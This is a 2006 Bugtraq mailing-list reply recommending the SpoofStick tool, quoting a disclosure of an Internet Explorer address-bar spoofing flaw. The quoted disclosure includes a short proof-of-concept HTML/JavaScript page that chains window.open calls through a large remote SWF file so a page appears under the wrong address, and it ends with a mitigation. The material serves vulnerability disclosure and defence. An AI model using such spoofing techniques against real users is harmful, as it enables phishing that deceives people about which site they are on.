RE: Another way to spoof Internet Explorer Address Bar

["Memisyazici, Aras" <amemisya () vt edu>]

Hi:
 
I just wanted to let you know that attacks as such can easily be thwarted with freeware tools such as SpoofStick ( 
http://www.spoofstick.com/ ) and no I am not the spokesperson for them :p
 
In the case of your attack, assuming the swf hasn't been cached (the second try didn't work since it was) while the URL 
shows what you tried for it to show, the spoofstick shows the real URL. :)
 
Sincerely,
 
Aras "Russ" Memisyazici
 
Outreach Technology Services
Virginia Tech
Blacksburg, VA 24060

________________________________

From: hainamluke () yahoo com [mailto:hainamluke () yahoo com]
Sent: Tue 4/4/2006 10:27 AM
To: bugtraq () securityfocus com
Subject: Another way to spoof Internet Explorer Address Bar



DESCRIPTION
Attacker alse can spoof the address bar with another HTML page instead of the shockwave-flash file by continuing make 
to window.location
If you use a very large SWF file, the last page will be display as long as SWF loading time with the original address 
bar.
This exploit code will try to display www.microsoft.com with address bar of www.google.com

########### LukesTest2.htm ###########
<a href="javascript:spoof()">Perform the second Test</a><br>
<script>
        function        makewin(url) {
                win     = window.open (url, "new");
        }
        function spoof() {
                makewin('http://www.google.com/&apos;);
                setTimeout("makewin('http://one.fsphost.com/dangquang/musicflash1/bupbebietyeu.swf&apos;)",2000);
                setTimeout("makewin('http://www.microsoft.com/&apos;)",4000);               
        }      
</script>
##################################

The SWF will be displayed when it is loaded fully as well as my first sample code.

SOLUTION:
Disable Shockwave-Flash ActiveX Control